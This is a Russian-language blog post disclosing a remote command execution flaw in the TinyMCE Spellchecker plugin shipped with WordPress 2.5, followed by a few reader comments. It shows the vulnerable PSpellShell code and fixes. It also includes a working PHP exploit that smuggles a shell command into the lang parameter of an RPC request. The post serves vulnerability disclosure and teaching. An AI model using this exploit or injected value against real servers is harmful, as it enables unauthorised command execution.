Spellchecker (TinyMCE module) Remote Command Execution

Найдена уязвимость в модуле TinyMCE для проверки орфографии — Spellchecker. Данный модуль вместе с самим TinyMCE используется в последних версиях WordPress (ветка 2.5.*), однако эта уязвимость не является полноценной, так как встретить ее на реальном сервере в сети вряд ли можно. Несмотря на это, уязвимость, действительно, серьезная, так как она позволяет выполнить произвольные команды, поэтому я все же решил рассказать, как я ее нашел и что она из себя представляет (эксплоит прилагается).
Итак, любой скрипт, реализующий проверку орфографии, в контексте основной системы предполагает взаимодействие с ней методом RPC (Remote Procedure Call), т.е. удаленное выполнение процедур. В данном случае Spellchecker не является исключением. С точки зрения безопасности, скрипты, выполняющиеся посредством RPC, представляют собой большую угрозу, так как позволяют выполнить любой свой метод. Чтобы не быть голословным, приведу пример: в прошлом году некий Slappter обнаружил SQL-инъекцию в XMLRPC-интерфейсе WordPress’а, а именно в методе wp_suggestCategories, который мог быть вызван по запросу пользователя. Так вот, передав специально составленный SQL-код в этот метод, можно было осуществить полноценный инъект.
Для багоискателей RPC-интерфейсы являются бесценным источником возможных уязвимостей, так как обнаружить их в основном коде, в случае веб-приложений, считающихся безопасными, довольно сложно. Например, если была найдена уязвимость в какой-нибудь функции, которая может быть запущена только при админских правах, то такой баг не будет представлять большого интереса. Как уже было сказано, RPC-интерфейсы позволяют выполнить любой метод — именно это обстоятельство помогло при обнаружении баги.
Теории достаточно — переходим к практике. Основной скрипт rpc.php принимает данные в JSON-формате, так как он запускается AJAX’ом. Ниже следует пример RPC-запроса к Spellchecker’у:

PUT /wp25/wp-includes/js/tinymce/plugins/spellchecker/rpc.php HTTP/1.1
Host: localhost
Content-length:  81
Connection: close
{"method":"checkWords","params":["en",["some","phrase","to","check","spelling"]]}

Если вам не знаком синтаксис JSON-массивов, то советую с ним ознакомиться.
Результат возвращается также в JSON-формате. Spellchecker предоставляет возможность проверки орфографии тремя способами:

  • с помощью сервиса Google
  • с помощью PHP-расширения PSpell
  • с помощью внешней утилиты pspell

Самое время сказать, почему же реализовать данную уязвимость на реальных серверах не получится. Дело в том, что по умолчанию Spellchecker использует первый вариант, и изменить его даже из админ-панели WordPress нельзя. Уязвимость находится в вызове утилиты pspell, т.е. в третьем способе. Чтобы вручную изменить способ проверки, необходимо отредактировать config.php таким образом:

<?php
	// General settings
	//$config['general.engine'] = 'GoogleSpell';
	//$config['general.engine'] = 'PSpell';
	$config['general.engine'] = 'PSpellShell';

	// PSpell settings
	$config['PSpell.mode'] = PSPELL_FAST;
	$config['PSpell.spelling'] = "";
	$config['PSpell.jargon'] = "";
	$config['PSpell.encoding'] = "";

	// PSpellShell settings
	$config['PSpellShell.mode'] = PSPELL_FAST;
	$config['PSpellShell.aspell'] = '/usr/bin/aspell';
	$config['PSpellShell.tmp'] = '/tmp';

	// Windows PSpellShell settings
	//$config['PSpellShell.aspell'] = '"c:\Program Files\Aspell\bin\aspell.exe"';
	//$config['PSpellShell.tmp'] = 'c:/temp';
?>

Теперь собственно уязвимость (classes/PSpellShell.php@59-74,103-111):

<?php
function &getSuggestions($lang, $word) {
	$cmd = $this->_getCMD($lang);
        /**/
	$data = shell_exec($cmd);
        /**/
}
function _getCMD($lang) {
	$this->_tmpfile = tempnam($this->_config['PSpellShell.tmp'], "tinyspell");

	if(preg_match("#win#i", php_uname()))
		return $this->_config['PSpellShell.aspell'] . " -a --lang=". $lang 
		. " --encoding=utf-8 -H < " . $this->_tmpfile . " 2>&1";

	return "cat ". $this->_tmpfile ." | " . $this->_config['PSpellShell.aspell'] 
		. " -a --encoding=utf-8 -H --lang=". $lang;
}
?>

Как видим, входящие параметры не фильтруются, именно это и позволяет выполнить любые команды, внедрив их в переменную lang. Защититься от подобных атак очень легко, учитывая, что в php есть специальные функции escapeshellarg() и escapeshellcmd()

Код эксплоита

<?php
$url = 'http://localhost/wp25/wp-includes/js/tinymce/plugins/spellchecker/rpc.php';
$cmd = 'ls -la';

$data = urlencode('{"method":"getSuggestions","params":["en; $cmd",["foo"]]}');
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,$url);
curl_setopt($ch, CURLOPT_PUT, $data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 10);
curl_setopt($ch, CURLOPT_PORT, 80);
$resp = curl_exec($ch);
curl_close($ch);

echo "<pre>";
print_r($resp);
echo "</pre>";
?>


5 комментариев

  1. kzpromo, 21. мая 2010, 14:15

    Что-то ваш эксплоит не работает! в чем может быть проблема?

     
  2. _AXE_, 21. мая 2010, 14:53

    Для багоискателей RPC-интерфейсы являются бесценным источником возможных уязвимостей

    потому что на него часто забивают разработчики

     
  3. Raz0r, 21. мая 2010, 17:51

    Собственно в посте это и имелось в виду

     
  4. Raz0r, 21. мая 2010, 17:53

    @kzpromo
    проверьте версию wp, убедитесь, что в конфиге плагина раскоментирована строка $config[‘general.engine’] = ‘PSpellShell’;

     
  5. kzpromo, 21. мая 2010, 18:10

    к сожелению она закоментирована

     

Write a comment: